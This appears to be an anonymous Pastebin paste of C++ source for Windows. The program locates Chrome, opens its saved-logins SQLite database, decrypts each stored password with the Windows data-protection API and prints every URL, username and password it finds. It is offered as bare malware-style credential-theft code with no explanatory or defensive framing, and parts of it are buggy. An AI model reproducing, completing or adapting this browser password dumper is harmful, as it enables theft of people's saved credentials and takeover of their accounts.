Advertisement
Guest User

Untitled

a guest
Jan 28th, 2017
177
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.83 KB | None | 0 0
  1. #include <windows.h>
  2. #include <iostream>
  3. #include <shlobj.h>
  4. #include <wincrypt.h>
  5. #include <stdio.h>
  6. #include "sqlite3.h"
  7.  
  8. #pragma comment(lib,"sqlite3")
  9. #pragma comment(lib,"crypt32")
  10.  
  11. using namespace std;
  12.  
  13. char * readRegistryValue(){
  14.      LPCSTR value = "Path";
  15.      HKEY hkey = NULL;
  16.      char * sk = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe";
  17.  
  18.      if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,sk,0,KEY_READ,&hkey) != ERROR_SUCCESS)
  19.      {
  20.          return NULL;
  21.      }
  22.      char path[MAX_PATH] = {0};
  23.      DWORD dw = 260;
  24.      RegQueryValueEx(hkey,value,0,0,(BYTE *)path,&dw);
  25.      RegCloseKey(hkey);
  26.      char *ret = new char[strlen(path)+1];
  27.      strcpy(ret,path);
  28.      return ret;
  29. }
  30.  
  31. char *Crack(BYTE *pass){
  32.     DATA_BLOB in;
  33.     DATA_BLOB out;
  34.  
  35.     BYTE trick[1024];
  36.     memcpy(trick,pass,1024);
  37.     int size = sizeof(trick) / sizeof(trick[0]);
  38.  
  39.     in.pbData = pass;
  40.     in.cbData = size+1;
  41.     char str[1024] = "";
  42.  
  43.     if (CryptUnprotectData(&in,NULL,NULL,NULL,NULL,0,&out)){
  44.         for(int i = 0; i<out.cbData; i++)
  45.         str[i] = out.pbData[i];
  46.         str[out.cbData]='\0';
  47.  
  48.         return str;
  49.     }
  50.     else
  51.         return NULL;
  52. }
  53.  
  54. bool getPath(char *ret,int id){
  55.     memset(ret,0,sizeof(ret));
  56.     if(SUCCEEDED(SHGetFolderPath(NULL,id | CSIDL_FLAG_CREATE,NULL,0,ret)))
  57.         return true;
  58.     return false;
  59. }
  60.  
  61. int main(){
  62.     char *installPath = readRegistryValue();
  63.     if (installPath != NULL){
  64.         printf("Installed in: %s\n",installPath);
  65.         sqlite3_stmt *stmt;
  66.         sqlite3 *db;
  67.  
  68.         char databasePath[260];
  69.         getPath(databasePath,0x1C);
  70.         strcat(databasePath,"\\Google\\Chrome\\User Data\\Default\\Login Data");
  71.  
  72.         char *query = "SELECT origin_url, username_value, password_value FROM logins";
  73.         if (sqlite3_open(databasePath, &db) == SQLITE_OK) {
  74.             if (sqlite3_prepare_v2(db, query, -1, &stmt, 0) == SQLITE_OK) {
  75.                 while (sqlite3_step(stmt) == SQLITE_ROW) {
  76.                     char *url = (char *)sqlite3_column_text(stmt,0);
  77.                     char *username = (char *)sqlite3_column_text(stmt,1);
  78.                     BYTE *password = (BYTE *)sqlite3_column_text(stmt,2);
  79.                     printf("Url: %s\n",url);
  80.                     printf("Username: %s\n",username);
  81.                     char *decrypted = Crack(password);
  82.                     printf("Password: %s\n",decrypted);
  83.                 }
  84.             }
  85.             else{
  86.                 printf("Error preparing database!\n");
  87.             }
  88.             sqlite3_finalize(stmt);
  89.             sqlite3_close(db);
  90.         }
  91.         else{
  92.             printf("Error opening database!\n");
  93.         }
  94.     }
  95.     else{
  96.         printf("Google Chrome is not installed!\n");
  97.     }
  98.     delete[]installPath;
  99.     cin.get();
  100.     return 0;
  101. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement